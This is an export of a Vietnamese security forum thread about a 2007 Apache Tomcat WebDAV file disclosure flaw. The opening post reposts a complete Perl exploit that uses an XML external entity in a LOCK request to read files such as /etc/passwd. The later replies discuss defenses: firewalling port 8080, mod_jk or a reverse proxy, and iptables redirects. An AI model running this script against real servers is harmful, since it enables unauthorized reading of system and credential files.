<![CDATA[Latest posts for the topic "Apache Tomcat File Disclosure (Exploit)"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net Apache Tomcat File Disclosure (Exploit) http://www.milw0rm.com/exploits/4530 Đăng lại ở Securiteam: http://www.securiteam.com/exploits/6S00D1FK0K.html Code:
#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
	print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
	print "kcdarookie aka eliteb0y / 2007\n";
	print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
	print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns: D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
	$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
	print;
}
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần. Tips: - config Tomcat HTTP connector cho localhost, not all interfaces. - filter port 8080 trên firewall. - dùng mod_jk hoặc proxy đứng trước Tomcat.]]>
/hvaonline/posts/list/15599.html#93126 /hvaonline/posts/list/15599.html#93126 GMT
Re: Apache Tomcat File Disclosure (Exploit) /hvaonline/posts/list/15599.html#93443 /hvaonline/posts/list/15599.html#93443 GMT Re: Apache Tomcat File Disclosure (Exploit)

K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu :)) 
Tớ nghĩ là bồ đoán nhầm. Bản Apache này có tên là Tomcat. FaL]]>
/hvaonline/posts/list/15599.html#93467 /hvaonline/posts/list/15599.html#93467 GMT
Re: Apache Tomcat File Disclosure (Exploit) - dùng mod_jk hoặc proxy đứng trước Tomcat.   :)]]> /hvaonline/posts/list/15599.html#93473 /hvaonline/posts/list/15599.html#93473 GMT Re: Apache Tomcat File Disclosure (Exploit)

FaL wrote:

K4i wrote:
Nếu em đoán không nhầm thì cái này vô dụng với HVA vì bác conmale cho thằng apache chặn trước Tomcat rồi còn đâu :)) 
Tớ nghĩ là bồ đoán nhầm. Bản Apache này có tên là Tomcat. FaL 
Không phải đâu em. Apache là tên của nhóm Apache và ứng dụng http của Apache nổi tiếng đến nỗi người ta quen gọi Apache để ám chỉ cho apache web (http). Thật ra apache http và apache tomcat là hai ứng dụng hoàn toàn khác nhau. Lục lọi trên điễn dàn (hình như trong phần *nix) sẽ thấy có 1 bài anh nói về sự khác nhau giữa apache http và apache tomcat. to K4i: Có một số cách khác nhau. 1) dùng reverse proxy (như apache proxy, squid hoặc bất cứ reverse proxy appliance nào) để map từ port 80 (web) đến port 8080 (mặc định connector port của tomcat). 2) dùng apache http đứng trước apache tomcat và dùng mod_jk, một connector gắn liền apache web với apache tomcat xuyên qua AJP protocol. Cả 2 đều nhằm 1 mục đích là không cho access trực tiếp đến cổng mặc định 8080 của tomcat. Thân.]]>
/hvaonline/posts/list/15599.html#93521 /hvaonline/posts/list/15599.html#93521 GMT
Re: Apache Tomcat File Disclosure (Exploit) /hvaonline/posts/list/15599.html#93550 /hvaonline/posts/list/15599.html#93550 GMT Apache Tomcat File Disclosure (Exploit)

conmale wrote:
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần. Tips: - config Tomcat HTTP connector cho localhost, not all interfaces. - filter port 8080 trên firewall. - dùng mod_jk hoặc proxy đứng trước Tomcat. 
Hi anh conmale, Em dùng mod_jk cho Tomcat, không dám dùng mod_proxy =(( Theo như anh nói ở trên, anh dùng iptables chặn cổng 8080 để tránh bị exploit , theo suy nghĩ của em, ta sẽ không cần filter trên cổng 8080 mà em sẽ dùng kỹ thuật NAT (PREROUTING, POSTROUTING) trên iptables , mục đích của em là wwwect bất kỳ các request từ cổng 8080 sang cổng 80 . :) Em liều mạng như vậy được không anh :( ]]>
/hvaonline/posts/list/15599.html#116156 /hvaonline/posts/list/15599.html#116156 GMT
Apache Tomcat File Disclosure (Exploit)

Golden Autumn wrote:

conmale wrote:
Từ lúc exploit này được công bố (15/10/2007) đến nay, HVA bị thử không dưới 100 lần. Tips: - config Tomcat HTTP connector cho localhost, not all interfaces. - filter port 8080 trên firewall. - dùng mod_jk hoặc proxy đứng trước Tomcat. 
Hi anh conmale, Em dùng mod_jk cho Tomcat, không dám dùng mod_proxy =(( Theo như anh nói ở trên, anh dùng iptables chặn cổng 8080 để tránh bị exploit , theo suy nghĩ của em, ta sẽ không cần filter trên cổng 8080 mà em sẽ dùng kỹ thuật NAT (PREROUTING, POSTROUTING) trên iptables , mục đích của em là wwwect bất kỳ các request từ cổng 8080 sang cổng 80 . :) Em liều mạng như vậy được không anh :(  
Được quá đi chớ ;). Em biết lý do tại sao được không?]]>
/hvaonline/posts/list/15599.html#116320 /hvaonline/posts/list/15599.html#116320 GMT
Re: Apache Tomcat File Disclosure (Exploit) ###### NAT rules ###### echo "[+] Setting up NAT rules..." #iptables -t nat -A PREROUTING -d 192.168.1.2 -p tcp --dport 8080 -j REDIRECT --to-ports 80  Lệnh trên nó "nói" đây chính là "table nat" thuộc PREROUTING chain (PREROUTING chain được dùng để apply các rules trong bảng nat tức là quá trình nat sẽ được xữ lý trước khi thực hiện định tuyến) sau đó iptables cho phép các tcp package đi đến địa chỉ 192.168.1.2 ở cổng 8080 và sau đó nó chuyển package này đến cổng 80. Tức là iptables xữ lý các package trước khi nó chuyển đến cổng 80 . Còn về phần nào em chưa hiểu mong anh dạy bảo :) ]]> /hvaonline/posts/list/15599.html#116380 /hvaonline/posts/list/15599.html#116380 GMT Re: Apache Tomcat File Disclosure (Exploit)

Golden Autumn wrote:
###### NAT rules ###### echo "[+] Setting up NAT rules..." #iptables -t nat -A PREROUTING -d 192.168.1.2 -p tcp --dport 8080 -j REDIRECT --to-ports 80 
Lệnh trên nó "nói" đây chính là "table nat" thuộc PREROUTING chain (PREROUTING chain được dùng để apply các rules trong bảng nat tức là quá trình nat sẽ được xữ lý trước khi thực hiện định tuyến) sau đó iptables cho phép các tcp package đi đến địa chỉ 192.168.1.2 ở cổng 8080 và sau đó nó chuyển package này đến cổng 80. Tức là iptables xữ lý các package trước khi nó chuyển đến cổng 80 . Còn về phần nào em chưa hiểu mong anh dạy bảo :)  
Đúng rồi đó em. Gói tin có dport là 8080 đã bị wwwect đến 80 ở IP layer trước khi nó đi lên layer cao hơn. Bởi thế, kẻ tấn công không có cơ hội truy cập cổng 8080 (của Tomcat) mà luôn luôn bị "ép" phải đi xuyên qua cổng 80 (của apache httpd). Kết quả là không thực hiện được exploit "Tomcat remote file disclosure". Thân. PS: dạy bảo cái gì ku? Dạo này đổ ra khách sáo hả? :P ]]>
/hvaonline/posts/list/15599.html#116427 /hvaonline/posts/list/15599.html#116427 GMT
Re: Apache Tomcat File Disclosure (Exploit) appBase="webapps" thành /home/public_html/hvaonline (Vistual Hosting Tomcat và Apache). Sau đó anh điều chỉnh iptables lên là xong, nếu có request từ đâu đó gởi đến cổng 8080 thì lập tức iptables chặn lại và "thông báo cho request đó" biết rằng bad request . - Hoặc có thể anh điều chỉnh port trong server.xml (cái này em chưa thử nghiệm lần nào cả) :D 2 nhận định trên chỉ là suy đoán của em .

conmale wrote:
PS: dạy bảo cái gì ku? Dạo này đổ ra khách sáo hả? 
Em đâu có khách sáo đâu anh :D mấy năm trời tự học với *nix, kiến thức thu thập được cũng nhờ sự giúp đỡ, hướng dẫn tận tình của anh cho nên anh là người thầy đầu tiên và HVA là thầy cuối cùng của em trong thế giới *nix . :) ]]>
/hvaonline/posts/list/15599.html#116441 /hvaonline/posts/list/15599.html#116441 GMT
Re: Apache Tomcat File Disclosure (Exploit)

Golden Autumn wrote:
Dạ, cách này em thấy cụ thể là ở HVA nhà ta nhất vì Tomcat mặc định chạy trên cổng 8080 sao HVA chỉ có mở cổng 80 , còn cổng 8080 anh conmale ổng "ém" ở đâu rồi cà . Theo phán đoán của em, có khả năng anh điều chỉnh như thế này . - Mặc định các ứng dụng trong Tomcat được lưu trữ trong thư mục webapps cho nên có thể anh điều chỉnh appBase="webapps" thành /home/public_html/hvaonline (Vistual Hosting Tomcat và Apache). Sau đó anh điều chỉnh iptables lên là xong, nếu có request từ đâu đó gởi đến cổng 8080 thì lập tức iptables chặn lại và "thông báo cho request đó" biết rằng bad request . - Hoặc có thể anh điều chỉnh port trong server.xml (cái này em chưa thử nghiệm lần nào cả) :D 2 nhận định trên chỉ là suy đoán của em .  
"Bật mí" cho một tí đây: ;) - Cổng tomcat chỉnh thành cổng khác, không còn là 8080 (mod_jk connect đến cổng "khác" ấy). - Firewall chặn hết, không cho truy cập đến cổng nào ngoài 80 (HTTP), 443 (HTTPS), 25 (SMTP) và 1 cổng SSH (không phải là cổng 22 :P ) - appbase tương tự như em đoán. - Truy cập đến cổng 8080 sẽ chậm như... con rùa và kết thúc với: "can't establish a connection" Thân.]]>
/hvaonline/posts/list/15599.html#116458 /hvaonline/posts/list/15599.html#116458 GMT
Re: Apache Tomcat File Disclosure (Exploit) /hvaonline/posts/list/15599.html#116554 /hvaonline/posts/list/15599.html#116554 GMT Re: Apache Tomcat File Disclosure (Exploit)

Golden Autumn wrote:
Anh sợ tụi nó khai thác SSH exploit hay sao mà chỉnh cổng 22 sang cổng khác vậy anh ... yêu vì em thấy lạ ở chổ cách khai thác Apache Tomcat File Disclosure (Exploit) nó đâu có dính dáng đến cổng 22 hay cổng nào đó được gán cho secure shell đâu anh ?  
À... cổng SSH (và các cổng khác) anh liệt kê trên bài trước là danh sách các cổng mở trên HVA (để ai muốn scan port khỏi phải mất công :P ). Nó không có liên quan gì đến Tomcat exploit cả.]]>
/hvaonline/posts/list/15599.html#116555 /hvaonline/posts/list/15599.html#116555 GMT
Re: Apache Tomcat File Disclosure (Exploit) /hvaonline/posts/list/15599.html#116556 /hvaonline/posts/list/15599.html#116556 GMT